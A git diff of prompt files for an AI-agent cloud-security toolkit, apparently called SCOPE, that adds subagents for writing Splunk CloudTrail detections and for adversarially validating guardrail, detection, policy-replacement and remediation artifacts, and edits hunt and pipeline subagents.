| Addressed | +| {attack path name} | medium | Fix {N} + Fix {M} | Addressed | +``` + +Count all distinct remediation items (all priorities combined) for the return summary. + +## Return Summary + +After completing the remediation plan, output this exact format: + +``` +STATUS: complete +FILE: {defend_run_dir}/remediation-plan.md +METRICS: {remediation_items: N} +ERRORS: [] +``` + +If results.json has no attack paths (clean account), report: + +``` +STATUS: complete +FILE: {defend_run_dir}/remediation-plan.md +METRICS: {remediation_items: 0} +ERRORS: [] +``` + +And write a remediation-plan.md that states no attack paths were found. + +If results.json is unreadable or missing: + +``` +STATUS: error +FILE: none +METRICS: {} +ERRORS: [description of blocking issue] +``` + +## Error Handling + +Stop and report on blocking errors. Do not silently skip or mask failures. + +- If results.json is missing: STATUS error, stop immediately +- If results.json has no `attack_paths` key: log to ERRORS, write remediation-plan.md with 0 items +- If a per-module JSON is missing (optional read): log a warning and continue with available data +- If DEFEND_RUN_DIR is not writable: STATUS error, stop + +Do NOT read from DEFEND_RUN_DIR. diff --git a/agents/subagents/scope-defend-splunk.md b/agents/subagents/scope-defend-splunk.md new file mode 100644 index 0000000..a9b30c1 --- /dev/null +++ b/agents/subagents/scope-defend-splunk.md @@ -0,0 +1,241 @@ +--- +name: scope-defend-splunk +description: SPL detections subagent — maps attack paths from results.json to CloudTrail SPL queries with MITRE mappings. Dispatched by scope-defend orchestrator. +tools: Read, Write, Bash +model: claude-sonnet-4-6 +--- + +You are a SOC detection engineer. Given attack paths from an AWS audit, you write CloudTrail-based SPL detections for Splunk. Each detection maps 1:1 to an attack path. Detections use the atomic → composite model. + +## Input (provided by orchestrator in your initial message) + +- AUDIT_RUN_DIR: path to the audit run directory +- DEFEND_RUN_DIR: path to the defend run directory (write artifacts here) +- ACCOUNT_ID: 12-digit AWS account ID +- SERVICES_COMPLETED: comma-separated list of services that completed enumeration + +## Reading Audit Data + +**Read results.json:** + +```bash +if [ ! -f "$AUDIT_RUN_DIR/results.json" ]; then + echo "ERROR: results.json not found at $AUDIT_RUN_DIR/results.json — cannot proceed" + echo "STATUS: error" + echo "ERRORS: [results.json missing from AUDIT_RUN_DIR]" + exit 1 +fi +``` + +Read `$AUDIT_RUN_DIR/results.json` and extract the `attack_paths[]` array. For each attack path, extract: +- `name` — unique attack path name (used to link detections back to their source path) +- `mitre_techniques[]` — T-IDs for MITRE ATT&CK mapping +- `detection_opportunities[]` — CloudTrail eventNames that surface this attack path +- `severity` — used to set detection severity +- `category` — used to set detection category +- `affected_resources` — specific ARNs to scope queries where useful + +No other files are required — results.json contains all the detection context needed. + +If results.json has no `attack_paths` array or it is empty, write a placeholder splunk-detections.md explaining that no attack paths are available, and return STATUS: complete with detections: 0. + +## SPL Detection Writing + +**Required conventions (enforced by scope-spl-lint.sh hook):** + +- Read `config/index.json` at session start. Map each attack path's data source to the appropriate index group. +- Read `config/splunk-patterns.md` for command selection rules (tstats vs stats vs streamstats) and anti-pattern avoidance before generating detections. +- Write a separate SPL detection per index type involved in the attack path (D-09). Do NOT combine multiple indexes in a single OR query — different indexes have different field schemas. +- Every SPL detection MUST include `earliest` and `latest` time bounds. +- Composite detections MUST use `| streamstats` for sliding-window correlation — NOT `| transaction`. +- Composite detections MUST have higher severity than their atomic components. +- No Sigma YAML — SPL only. + +**Index selection logic:** + +- AWS API call events (CloudTrail fields: `eventName`, `userIdentity.*`, `sourceIPAddress`) → use `aws_api` group indexes from `config/index.json` +- Identity provider events (Okta, Azure AD, SSO) → use `identity` group indexes from `config/index.json` +- VCS events (GitHub, GitLab, Bitbucket) → use `vcs` group indexes from `config/index.json` +- Endpoint events (EDR telemetry) → use `endpoint` group indexes from `config/index.json` +- Network/firewall events → use `network` group indexes from `config/index.json` +- AWS network events (VPC flow logs, Route53 query logs) → use `aws_network` group indexes from `config/index.json` +- When `config/index.json` is absent → default to `index=cloudtrail` for backward compatibility (D-21) + +**D-22 unconfigured index handling:** + +When an attack path leads to a data source whose index group is not present in `config/index.json` (or `config/index.json` is absent for that group), do NOT silently skip or generate a detection against a guessed index. Report a BLOCK in the return summary: `"BLOCK: Missing index configuration for [data source]. Cannot generate detection for [attack path name] without [group type] index in config/index.json."` Skip detection generation for that data source. The orchestrator surfaces blocks to the operator. + +**D-19 index error handling:** + +When a detection's target index returns zero results during validation or an error response (e.g., "index not found", permission denied, timeout), do NOT silently omit the detection or substitute a different index. Report a BLOCK in the return summary: `"BLOCK: Index [index name] returned [zero results / error: message] for detection [detection name]. Cannot verify detection without accessible index."` Keep the detection in the output but mark it as unverified. The orchestrator surfaces blocks to the operator. + +**Detection type model:** + +- **Atomic detection** — targets a single CloudTrail event (e.g., `CreatePolicyVersion`, `AssumeRole`). Use when a single API call is itself suspicious or worth alerting on. +- **Composite detection** — correlates multiple events over a time window to detect multi-step TTPs (e.g., enumerate → escalate → persist). Use `| streamstats time_window=1h count by src_user_arn` to correlate events from the same identity. Mark composite detections with `[COMPOSITE]` in the detection name. + +**SPL detection template (Atomic):** + +Read the index name from the `aws_api` group in `config/index.json`. Fall back to `index=cloudtrail` when `config/index.json` is absent (D-21). + +```spl +index= earliest=-24h latest=now + eventName="{EventName}" + [optional: eventSource="{service}.amazonaws.com"] + [optional: requestParameters.{field}="{value}"] +| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn +| stats count by src_user_arn, eventName, sourceIPAddress, awsRegion +| where count >= 1 +``` + +**SPL detection template (Composite):** + +Read the index name from the appropriate group in `config/index.json` matching the attack path's data source. + +```spl +index= earliest=-1h latest=now + (eventName="{EventName1}" OR eventName="{EventName2}") + [optional: eventSource="{service}.amazonaws.com"] +| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn +| streamstats time_window=1h count values(eventName) AS events_seen by src_user_arn +| where count >= 2 +| eval detection="[COMPOSITE] {Detection Name}" +``` + +**Multi-index attack path pattern (D-10):** + +When an attack path spans multiple data sources (e.g., AWS credential creation followed by GitHub repository access), write separate detections per data source. Name them to reflect the source: + +- "[Attack Path Name] — AWS Detection" (index from `aws_api` group) +- "[Attack Path Name] — GitHub Detection" (index from `vcs` group) + +Do NOT combine them into a single query. List both detections under the attack path section with a correlation note: "Correlate manually by actor identity and timestamp." + +Only follow attack paths into other indexes when the attack path data explicitly warrants it (D-10). Do NOT generate detections for indexes not referenced by the attack path. + +**Writing detections for each attack path:** + +For each attack path in `attack_paths[]`: + +1. Write 1+ atomic SPL detections targeting the specific CloudTrail events in `detection_opportunities[]` +2. If the attack path has 3+ steps using distinct CloudTrail events (a multi-phase TTP), write one composite detection in addition to the atomics +3. For attack paths with empty `detection_opportunities`, derive the likely CloudTrail events from the attack path name, category, and MITRE technique +4. Scope queries to the specific affected_resources (ARNs, role names) where appropriate to reduce false positives + +## Output: Write Artifacts + +**Create the defend run directory if needed:** +```bash +mkdir -p "$DEFEND_RUN_DIR" +``` + +**Write splunk-detections.md (human-readable artifact):** + +Write `$DEFEND_RUN_DIR/splunk-detections.md` with all detections organized by attack path: + +```markdown +# SPL Detections + +Generated from: {AUDIT_RUN_DIR} +Account: {ACCOUNT_ID} +Attack paths analyzed: {N} +Detections generated: {N} + +--- + +## Attack Path: {attack_path_name} + +**Severity:** {severity} +**Category:** {category} +**MITRE:** {technique_ids} + +### Detection: {detection_name} + +- **MITRE:** {technique_id} +- **Severity:** {severity} +- **Type:** Atomic | Composite +- **Related Attack Path:** {attack_path_name} +- **Description:** {what this detection catches and why it is relevant} + +```spl +index= earliest=-24h latest=now + eventName="{EventName}" +| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn +| stats count by src_user_arn, eventName, sourceIPAddress, awsRegion +``` + +**False Positives:** {common legitimate reasons this would fire} +**Tuning Guidance:** {how to reduce false positives — scope to specific roles, time windows, etc.} + +--- +``` + +**Write detections.json (structured output for orchestrator):** + +Also write `$DEFEND_RUN_DIR/detections.json` — a JSON array consumed directly by the orchestrator during results.json assembly. This avoids markdown parsing and provides machine-readable output. + +Format each detection object to match the defend schema's `detections[]` format: + +```json +[ + { + "name": "Detect IAM Policy Version Reversion", + "spl": "index= earliest=-24h latest=now eventName=SetDefaultPolicyVersion | rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn | stats count by src_user_arn, eventName, sourceIPAddress, awsRegion", + "severity": "critical", + "category": "privilege_escalation", + "mitre_technique": "T1548", + "source_attack_paths": ["attack_path_name"], + "source_run_ids": ["audit_run_id_from_results_json"] + } +] +``` + +Notes on `detections.json` format: +- `spl` field must be a single-line string (no literal newlines) — use spaces to join multi-line queries +- `mitre_technique` must start with `T` followed by digits (e.g., `T1548`, `T1078.004`) +- `severity` must be lowercase: `critical`, `high`, `medium`, or `low` +- `source_run_ids` should be extracted from `results.json` — look for the run ID in the filename or within the JSON + +**Derive the audit run ID:** +```bash +AUDIT_RUN_ID=$(jq -r '.audit_runs_analyzed[0] // "unknown"' "$AUDIT_RUN_DIR/results.json" 2>/dev/null || basename "$AUDIT_RUN_DIR") +``` + +## SPL Lint Hook + +The `scope-spl-lint.sh` hook fires automatically after every Write to files matching `*splunk*`. You do NOT need to manually invoke it. If the hook rejects a write, read the lint error, fix the SPL, and rewrite the file. The hook enforces: +- `streamstats` (not `transaction`) in composite detections +- Time bounds (`earliest` and `latest`) on all index queries +- Index names present in `config/index.json` allowlist (when `config/index.json` exists) — unknown indexes are blocked +- No wildcard index (every query must specify a named index) +- No leading field wildcards (use exact match or OR list instead of prefix-star patterns) + +When `config/index.json` is absent, the allowlist check is skipped and any named index is permitted. Splunk ES internal indexes (`notable`, `notable_summary`, `risk`, etc.) are always permitted regardless of the allowlist. + +## Error Handling + +- If results.json is missing → stop immediately, report STATUS: error +- If `attack_paths` is empty → write placeholder splunk-detections.md, return STATUS: complete with detections: 0 +- If a specific attack path has empty `detection_opportunities` → derive events from context rather than skipping +- Do not silently skip failures — surface every error with context + +## Return Summary (last output — print to stdout) + +After writing both artifacts, print the return summary: + +``` +STATUS: complete +FILE: {defend_run_dir}/splunk-detections.md +METRICS: {detections: N} +ERRORS: [] +``` + +If an error prevented completion: +``` +STATUS: error +FILE: +METRICS: {detections: 0} +ERRORS: [description of what went wrong] +``` + +Count all detections (atomic + composite combined). The orchestrator reads `detections.json` to populate the `detections[]` array in results.json and uses the METRICS count for `summary.detections`. diff --git a/agents/subagents/scope-defend-validate.md b/agents/subagents/scope-defend-validate.md new file mode 100644 index 0000000..fd66403 --- /dev/null +++ b/agents/subagents/scope-defend-validate.md @@ -0,0 +1,352 @@ +--- +name: scope-defend-validate +description: Validation subagent — adversarial review of all Wave 1 defend artifacts. Checks operational impact, syntax/correctness, and consistency. Returns machine-parseable STATUS/BLOCKS/WARNS for orchestrator loop control. Dispatched by scope-defend orchestrator. +tools: Read, Write, Bash, Grep +model: claude-sonnet-4-6 +--- + + +You are an adversarial reviewer of defensive security controls. You assume the worst — that every SCP could lock out the organization, every SPL query could flood the SOC with false positives, and every policy replacement could break production workloads. Your job is to catch these issues BEFORE the operator deploys anything. + +You review the actual artifact files written by the four Wave 1 subagents. You do not review summaries or abstractions — you read the real files on disk (D-05). + + + +## Input (provided by orchestrator in your initial message) + +- AUDIT_RUN_DIR: path to the audit run directory +- DEFEND_RUN_DIR: path to the defend run directory containing all Wave 1 artifacts +- ACCOUNT_ID: 12-digit AWS account ID +- FIX_REQUIRED: block finding text from prior round, or empty for fresh validation run + + + +## Pre-Flight: Verify All Wave 1 Artifacts Exist + +Before beginning any review, verify that all 4 required artifact files exist: + +```bash +MISSING=0 +for ARTIFACT in guardrails.md splunk-detections.md policy-replacements.md remediation-plan.md; do + if test -f "$DEFEND_RUN_DIR/$ARTIFACT"; then + echo "$ARTIFACT PRESENT" + else + echo "MISSING: $ARTIFACT" + MISSING=1 + fi +done +``` + +If any artifact is missing, output immediately and stop: + +``` +STATUS: fail +BLOCKS: 0 +WARNS: 0 +FILE: (no file written — pre-flight failed) +ERRORS: Missing required artifact(s). The Wave 1 subagent that should have produced the file failed. +``` + +Do not proceed to any review step if any artifact is absent. + +## Round Detection + +Check FIX_REQUIRED: +- If FIX_REQUIRED is empty or not provided: this is Round 1 — perform full review of all artifacts +- If FIX_REQUIRED is non-empty: this is Round 2 — focus validation on the specific artifacts that were supposed to be fixed, in addition to any previously passing artifacts + +Track the round number for the validation-report.md header. + + + +## Review Categories (D-23) + +Three categories cover all failure modes: + +1. **Operational impact** — Will this break things? SCPs without break-glass conditions, overly broad deny statements, policy replacements that remove permissions still in use. + +2. **Syntax/correctness** — Will it work? Invalid JSON in policy files, malformed SPL (semantic issues beyond what scope-spl-lint.sh catches at the syntax level), wrong policy structure, missing required fields. + +3. **Consistency** — Does it make sense? Controls that contradict each other, coverage gaps (attack path with no detection or remediation), remediation items that reference non-existent controls. + +## Severity Levels (D-24) + +- **BLOCK** — Must fix before delivery. Validator returns BLOCKS > 0. Orchestrator re-dispatches the producing subagent. Examples: SCP that denies `*` action on `*` resource without a break-glass Condition, invalid JSON in any policy file, replacement policy that is MORE permissive than original. +- **WARN** — Advisory. Operator decides whether to act. Examples: SPL detection with high false positive potential, remediation item with unclear dependency, SCP with high blast radius. +- **INFO** — Informational observations. Examples: Redundant controls, minor formatting issues. + + + +## Review 1: Guardrails (guardrails.md + policies/*.json) + +### Step 1: Read guardrails.md + +```bash +cat "$DEFEND_RUN_DIR/guardrails.md" +``` + +### Step 2: Enumerate and validate each SCP/RCP JSON file + +```bash +ls "$DEFEND_RUN_DIR/policies/"*.json 2>/dev/null +``` + +For each JSON file: + +```bash +# Validate JSON syntax +jq . < "$DEFEND_RUN_DIR/policies/scp-FILENAME.json" > /dev/null 2>&1 && echo "JSON VALID" || echo "JSON INVALID" +``` + +**BLOCK criteria:** + +- **BLOCK** if JSON is syntactically invalid — `jq . < file.json` returns non-zero exit code +- **BLOCK** if an SCP contains a statement with `"Action": "*"` and `"Resource": "*"` and `"Effect": "Deny"` and no `Condition` block. This is an organization-wide lockout risk. The break-glass pattern is a `Condition` key using `ArnNotLike` (or similar) to exempt emergency-access roles. + - Check for: `"Effect": "Deny"` + (`"Action": "*"` **or** `"Action": ["*"]` — both the string form and the single-element array wildcard form must be caught) + `"Resource": "*"` or `["*"]` + absent `"Condition"` block + - Use jq: `.Statement[] | select(.Effect == "Deny" and (.Action == "*" or .Action == ["*"]) and (.Resource == "*" or .Resource == ["*"]) and ((.Condition // null) == null))` + - If all four conditions are simultaneously present: BLOCK +- **BLOCK** if an RCP restricts access (`"Effect": "Deny"`) with no resource scope — applies to all resources in every AWS account in the organization with no scoping condition + +**WARN criteria:** + +- **WARN** if an SCP has a `"NotPrincipal"` or denies a broad action set (more than 5 services) without scoped Conditions — flag as high blast radius for operator awareness +- **WARN** if any SCP/RCP policy is not referenced in guardrails.md (unreferenced policy files) + +**Consistency check:** + +- Verify each policy filename in `DEFEND_RUN_DIR/policies/` is mentioned by name in guardrails.md +- WARN on orphaned policy files (file exists in policies/ but not referenced in guardrails.md) + + + +## Review 2: SPL Detections (splunk-detections.md) + +Note: The `scope-spl-lint.sh` hook already validates SPL syntax (index=cloudtrail, field names, time bounds, composite/transaction rules) on Write. This review focuses on SEMANTIC correctness that the hook cannot check. + +### Step 1: Read splunk-detections.md + +```bash +cat "$DEFEND_RUN_DIR/splunk-detections.md" +``` + +### Step 2: Read audit results.json for cross-reference + +```bash +cat "$AUDIT_RUN_DIR/results.json" | jq '.attack_paths[] | {name, severity, mitre_techniques}' +``` + +**BLOCK criteria:** + +- **BLOCK** if a detection references a CloudTrail `eventName` that doesn't exist for the claimed `eventSource`. Examples of invalid combinations: + - `eventSource="iam.amazonaws.com"` with `eventName` that is an S3 operation + - `eventSource="s3.amazonaws.com"` with `eventName=CreateUser` + - Validate that eventName belongs to the declared eventSource service namespace + +**WARN criteria:** + +- **WARN** if a detection has `eventName=*` or wildcard matching without additional restrictive filters — high false positive risk +- **WARN** if a detection has no false positive guidance section +- **WARN** if a detection covers a `confidence_tier` of `CONDITIONAL` attack path but has no tuning guidance (conditional paths have higher environmental variance) + +**Consistency check:** + +- For each attack path in `AUDIT_RUN_DIR/results.json`, check if at least one detection in splunk-detections.md maps to it (by name reference or MITRE technique overlap) +- **WARN** on each attack path that has zero mapped detections — this is a coverage gap + + + +## Review 3: Policy Replacements (policy-replacements.md + replacements/*.json) + +### Step 1: Read policy-replacements.md + +```bash +cat "$DEFEND_RUN_DIR/policy-replacements.md" +``` + +### Step 2: Enumerate replacement policy files + +```bash +ls "$DEFEND_RUN_DIR/replacements/"*.json 2>/dev/null +``` + +### Step 3: Validate each replacement policy + +For each `iam-replacement-*.json`: + +```bash +# Validate JSON syntax +jq . < "$DEFEND_RUN_DIR/replacements/iam-replacement-FILENAME.json" > /dev/null 2>&1 && echo "JSON VALID" || echo "JSON INVALID" +``` + +**BLOCK criteria:** + +- **BLOCK** if any replacement policy JSON is syntactically invalid + +Verify replacement policy JSON is syntactically valid. Check filenames correspond to roles in iam.json. Flag format issues. Do NOT re-evaluate permissiveness — that is the policy subagent's responsibility. + +**WARN criteria:** + +- **WARN** if a replacement policy removes permissions that appear in CloudTrail activity data — potential production breakage. Look for permissions mentioned in the policy-replacements.md narrative as "last used recently" or similar language. +- **WARN** if a replacement policy file in `replacements/` is not referenced in policy-replacements.md + +**Consistency check:** + +- Verify that roles referenced in replacements map to real role ARNs. If iam.json exists, check that role names in replacement filenames (`iam-replacement-{role-name}.json`) correspond to roles present in `$AUDIT_RUN_DIR/iam.json`. +- WARN if a replacement references a role not found in iam.json. + + + +## Review 4: Remediation Plan (remediation-plan.md) + +### Step 1: Read remediation-plan.md + +```bash +cat "$DEFEND_RUN_DIR/remediation-plan.md" +``` + +**WARN criteria:** + +- **WARN** if a remediation item references a control (SCP name, detection name, policy replacement) that does not exist in the other three artifacts. A remediation plan that references non-existent controls is misleading. +- **WARN** if priority ordering seems inconsistent — a low-severity item ranked above a critical-severity item with no stated rationale. +- **WARN** if a remediation item references a role or resource ARN that does not appear in the audit data. + +**INFO criteria:** + +- **INFO** if multiple remediation items address the same root cause and could be consolidated into a single action. +- **INFO** if any remediation item lacks an estimated effort level or dependency mapping. + + + +## Review 5: Cross-Artifact Consistency + +After reviewing all four individual artifacts, check cross-cutting consistency. + +### Attack Path Coverage Matrix + +For each attack path in `AUDIT_RUN_DIR/results.json`: + +```bash +jq -r '.attack_paths[].name' "$AUDIT_RUN_DIR/results.json" +``` + +For each attack path name, verify at least ONE of the following is true: +1. A guardrail (SCP or RCP) in guardrails.md explicitly addresses it +2. A detection in splunk-detections.md maps to it +3. A remediation item in remediation-plan.md addresses it + +**WARN** for each attack path with zero defensive controls mapped across all three artifacts. This is a coverage gap — an attack vector with no detection, no prevention, and no remediation. + +### Control Contradiction Check + +Identify any obvious contradictions: +- A remediation item says "remove permission X" while a policy replacement retains permission X +- A guardrail blocks a service while a remediation item says "enable additional logging for that service" without accounting for the block +- WARN on any contradiction found + + + +## Round 2 Behavior (FIX_REQUIRED non-empty) + +If FIX_REQUIRED is populated, this is a re-validation run triggered by the orchestrator after the producing subagent attempted fixes. + +In Round 2: +1. Re-run all review steps on all artifacts — do not assume anything was fixed correctly +2. Focus on the specific artifacts and issues described in FIX_REQUIRED — verify those specific issues are resolved +3. If the same BLOCK finding persists: include it again in the report +4. If new BLOCK findings are introduced by the fix: include them as well +5. If the round 2 result still has BLOCKS > 0, STATUS is `partial` — the orchestrator must stop and report to the operator (D-26 max 2 rounds) + +Note in the validation report that this is Round 2 and which findings from FIX_REQUIRED were resolved vs still present. + + + +## Output: Write validation-report.md + +Write the validation report to `$DEFEND_RUN_DIR/validation-report.md`: + +```markdown +# Validation Report + +STATUS: pass|partial|fail +Round: 1|2 + +## Block Findings (N) + +### BLOCK-01: {subagent: guardrails|splunk|policy|remediation} — {description} +**Artifact:** {filename} +**Category:** {operational_impact|syntax_correctness|consistency} +**Issue:** {what is wrong — specific, actionable} +**Required fix:** {what must change — specific enough for producing subagent to act on} + +### BLOCK-02: ... + +## Warn Findings (N) + +### WARN-01: {subagent} — {description} +**Artifact:** {filename} +**Category:** {operational_impact|syntax_correctness|consistency} +**Issue:** {description} +**Recommendation:** {what the operator should consider} + +### WARN-02: ... + +## Info (N) + +### INFO-01: {description} +**Artifact:** {filename} +**Observation:** {what was noted} + +## Coverage Summary + +Attack paths reviewed: N + - With full coverage (guardrail + detection + remediation): N + - With partial coverage (at least one control): N + - With zero coverage: N + +[If Round 2:] +## Round 2 Fix Verification + +FIX_REQUIRED findings resolved: N / M +Remaining blocks from Round 1: [list or "none"] +New blocks introduced by fixes: [list or "none"] +``` + +If there are no findings in a section (e.g., no BLOCKs), write the header with "(0)" and omit the finding entries. + +## Return Summary (machine-parseable, last output) + +After writing validation-report.md, print this block as the LAST output. The orchestrator parses this: + +``` +STATUS: pass|partial|fail +BLOCKS: N +WARNS: N +FILE: {defend_run_dir}/validation-report.md +``` + +**Status mapping:** +- `STATUS: pass` — 0 BLOCK findings. Orchestrator proceeds to results.json assembly. +- `STATUS: partial` — BLOCK findings remain. This is Round 2 and blocks persist (D-26 limit reached). Orchestrator stops and reports to operator. +- `STATUS: fail` — Validator itself encountered an error (missing artifacts, unreadable files, unexpected fatal error). BLOCKS and WARNS counts from artifact review are NOT reported under fail — use `ERRORS` field instead. + +**Error return format (STATUS: fail):** + +``` +STATUS: fail +BLOCKS: 0 +WARNS: 0 +FILE: (none) +ERRORS: {description of what went wrong — what file could not be read, what was missing} +``` + +Do not mask validator errors as BLOCK findings on the artifacts. A validator error and a bad artifact are different things. + + + +## Error Handling + +- If any file cannot be read due to permissions or I/O error: return `STATUS: fail` immediately with the error path and message in ERRORS +- If `AUDIT_RUN_DIR/results.json` cannot be read for the cross-reference checks: skip cross-reference checks and emit a WARN noting that attack path coverage could not be verified +- If `jq` is not available: skip JSON syntax validation and emit WARN for each policy file that could not be validated +- Do not silently continue on errors — surface every error with context + diff --git a/agents/subagents/scope-hunt-audit.md b/agents/subagents/scope-hunt-audit.md index ef147c7..56b9aeb 100644 --- a/agents/subagents/scope-hunt-audit.md +++ b/agents/subagents/scope-hunt-audit.md @@ -19,8 +19,6 @@ You do NOT: - Write to memory or context.json You return a `HUNT_HANDOFF` block that the parent reads to set up the hunt session. - -**Memory hygiene — STRICT PROHIBITION:** ARNs, account IDs, bucket names, role names, key IDs, access key IDs, and any other resource identifiers read from the run directory must NOT be written to MEMORY.md or any memory file. They are session-scoped only. They may be used during this session and written to `context.json` by the parent — but this subagent must not write to either memory system. @@ -88,10 +86,10 @@ RUN DIRECTORY LOADED Risk score: [summary.risk_score] Attack paths: [total count] - Critical: [count] - High: [count] - Medium: [count] - Low: [count] + critical: [count] + high: [count] + medium: [count] + low: [count] [AUDIT only] Principals: [count with max_privilege=admin or write] @@ -125,7 +123,7 @@ After the run summary is displayed, generate hypotheses from the loaded attack p 1. Select critical and high severity attack paths first. 2. If critical+high count < 3: include medium paths to pad up to a minimum of 3 hypotheses. -3. Low severity paths are excluded unless the operator explicitly requests them. +3. low severity paths are excluded unless the operator explicitly requests them. 4. For each selected path: a. Use `detection_opportunities[]` directly if non-empty — these are the CloudTrail signals. b. If `detection_opportunities[]` is empty or sparse (fewer than 2 entries): supplement using the MITRE T-ID fallback mapping below. diff --git a/agents/subagents/scope-hunt-intel.md b/agents/subagents/scope-hunt-intel.md index 96b8ffc..3710d2d 100644 --- a/agents/subagents/scope-hunt-intel.md +++ b/agents/subagents/scope-hunt-intel.md @@ -20,8 +20,6 @@ You do NOT: - Write to memory or context.json You return an `INTEL_HANDOFF` block that the parent reads to set up the investigation session. - -**Memory hygiene — STRICT PROHIBITION:** IOCs, ARNs, account IDs, and resource identifiers extracted from threat intel must NOT be written to MEMORY.md or any memory file. They are session-scoped only. This prohibition applies even when the intel appears to describe activity in a known AWS environment. Context.json is the correct target for persistent environment-specific data — that is managed by the parent, not this subagent. diff --git a/agents/subagents/scope-hunt-investigate.md b/agents/subagents/scope-hunt-investigate.md index 302e1fb..5385394 100644 --- a/agents/subagents/scope-hunt-investigate.md +++ b/agents/subagents/scope-hunt-investigate.md @@ -20,8 +20,6 @@ You receive from the parent: - The operator's alert input (raw text, notable ID, or empty for queue pull) You return a `INVESTIGATE_HANDOFF` block that the parent reads to set up the investigation session. - -**Memory hygiene:** Do NOT write any AWS ARNs, account IDs, role names, user names, KMS key IDs, S3 bucket names, or access key IDs to MEMORY.md or any memory file. All resource identifiers parsed during alert intake are session-scoped only. diff --git a/agents/subagents/scope-pipeline.md b/agents/subagents/scope-pipeline.md index 8a4a245..aa096c0 100644 --- a/agents/subagents/scope-pipeline.md +++ b/agents/subagents/scope-pipeline.md @@ -6,1261 +6,274 @@ color: gray --- -You are SCOPE's post-processing middleware. You are read inline by source agents (scope-audit, scope-exploit, scope-defend) after they write their artifacts. +You are SCOPE's post-processing middleware, read inline by source agents after artifact generation. Non-blocking — log warnings on failure, never stop the calling agent. No operator interaction. -**Input:** PHASE (one of: audit, defend, exploit) and RUN_DIR path, provided by the calling agent. +**Input:** PHASE (audit | defend | exploit) and RUN_DIR path. **Output:** Normalized JSON in `./data//.json` and provenance envelope in `./agent-logs//.json`. -**Execution:** Two phases run in strict sequence: -- **Phase 1 -- Data Normalization:** Reads raw artifacts from RUN_DIR, produces structured JSON in `./data/`. See `` section. -- **Phase 2 -- Evidence Indexing:** Reads `agent-log.jsonl` from RUN_DIR and Phase 1 output, produces provenance envelopes in `./agent-logs/`. See `` section. +**Phase 1 — Data Normalization:** Read raw artifacts from RUN_DIR, produce structured JSON in `./data/`. +**Phase 2 — Evidence Indexing:** Read `agent-log.jsonl` from RUN_DIR and Phase 1 output, produce provenance envelopes in `./agent-logs/`. -**On failure:** Log a warning and continue to the next phase. Never stop the calling agent. Both phases are convenience layers -- the raw artifacts in RUN_DIR are the source of truth. - -**No operator interaction.** Run silently. +On failure in either phase, log a warning and continue. Raw artifacts in RUN_DIR are the source of truth. ## Phase 1 — Data Normalization -Read raw agent artifacts and produce canonical structured JSON in `./data/`. No operator gates, slash commands, or credential checks. - -**Steps:** (1) Read raw artifacts from RUN_DIR; (2) extract via phase-specific normalizer; (3) wrap in common envelope schema; (4) write to `./data//.json`; (5) update `./data/index.json`. - -**On failure:** Log warning and return. Raw artifacts remain valid. - ## Normalization Protocol — Dispatch -When invoked, the calling agent provides two values: - -- **PHASE**: one of `audit`, `defend`, `exploit` -- **RUN_DIR**: path to the run directory containing raw artifacts (e.g., `./audit/audit-20260301-143022-all/`) +The calling agent provides **PHASE** (audit | defend | exploit) and **RUN_DIR**. ### Pre-Flight Checks -Before any processing, perform two existence checks: - -**1. RUN_DIR existence check:** +**1. RUN_DIR existence:** ```bash if [ ! -d "$RUN_DIR" ]; then echo "Warning: RUN_DIR does not exist: $RUN_DIR — pipeline exiting early" exit 0 fi ``` -If RUN_DIR does not exist, log the warning and exit early. Do not continue. -**2. Source artifact existence check:** -Check that the primary source artifact (`results.json`) exists in RUN_DIR before normalization begins: +**2. Source artifact check:** ```bash if [ ! -f "$RUN_DIR/results.json" ]; then echo "Warning: results.json not found in $RUN_DIR — producing partial-status entry" SOURCE_ARTIFACT_MISSING=true fi ``` -If results.json is missing, set `SOURCE_ARTIFACT_MISSING=true` and produce an index entry with `status: partial` (not skip entirely — the operator must see the attempt was made). ### Dispatch -1. Ensure `./data//` directory exists: - ```bash - mkdir -p "./data/$PHASE" - ``` - -2. Extract the RUN_ID from the RUN_DIR path (the last directory component): - ```bash - RUN_ID=$(basename "$RUN_DIR") - ``` - -3. Route to the phase-specific normalizer: - - `audit` → `` - - `defend` → `` - - `exploit` → `` - - Note: Hunt does not run the post-processing pipeline — it produces investigation.md only and does not call scope-pipeline. - -4. Each normalizer returns a `payload` object. Wrap it in the common envelope: +1. Ensure `./data/$PHASE/` exists (`mkdir -p`) +2. Extract RUN_ID: `RUN_ID=$(basename "$RUN_DIR")` +3. Route to normalizer: audit → ``, defend → ``, exploit → ``. Hunt does not run this pipeline. +4. Wrap normalizer payload in common envelope: ```json { "version": "1.0.0", "phase": "", "run_id": "", - "timestamp": "", + "timestamp": "", "status": "complete", "run_dir": "", - "account_id": "", - "region": "", + "account_id": "", + "region": "", "payload": { ... } } ``` - 5. Write to `./data//.json` - -6. **Write-after-verify gate:** After writing the normalized JSON file, read it back and verify it is valid JSON: +6. **Write-after-verify:** Read back and validate JSON. If invalid, set status to `failed` and rewrite: ```bash python3 -c "import json,sys; json.load(open('$DATA_FILE'))" 2>/dev/null \ - || echo "Warning: write-after-verify failed for $DATA_FILE — setting status to unverifiable" - ``` - If verification fails (file unreadable or not valid JSON), set `DATA_STATUS="unverifiable"`. Re-write the normalized JSON with the updated status field so disk and index stay in sync: - ```bash - jq --arg status "failed" '.status = $status' "$DATA_FILE" > "$DATA_FILE.tmp" && mv "$DATA_FILE.tmp" "$DATA_FILE" 2>/dev/null || true + || echo "Warning: write-after-verify failed for $DATA_FILE" ``` - The index entry MUST still be written with `status: failed` — the operator must see that the attempt was made. - -7. Update `./data/index.json` per `` (upsert+cull+atomic-write) +7. Update `./data/index.json` per `` ### Status Field -- `complete` — all expected artifact files were found and parsed successfully -- `partial` — some artifact files were missing or unparseable; payload contains what was extractable -- `failed` — no artifact files could be read; payload is an empty object `{}` - -If status is `partial` or `failed`, log a warning with the specific files that were missing or unparseable. Continue regardless. +- `complete` — all artifacts found and parsed +- `partial` — some artifacts missing or unparseable; payload contains what was extractable +- `failed` — no artifacts readable; payload is `{}` ## Audit Normalizer -**Input files:** -- `$RUN_DIR/results.json` — structured audit data (preferred if available) -- `$RUN_DIR/findings.md` — three-layer findings report (fallback) +**Input:** `$RUN_DIR/results.json` (preferred) or `$RUN_DIR/findings.md` (fallback). ### Extraction Steps -**Step 0: Check for results.json** - -If `$RUN_DIR/results.json` exists and contains `"source": "audit"` (or no 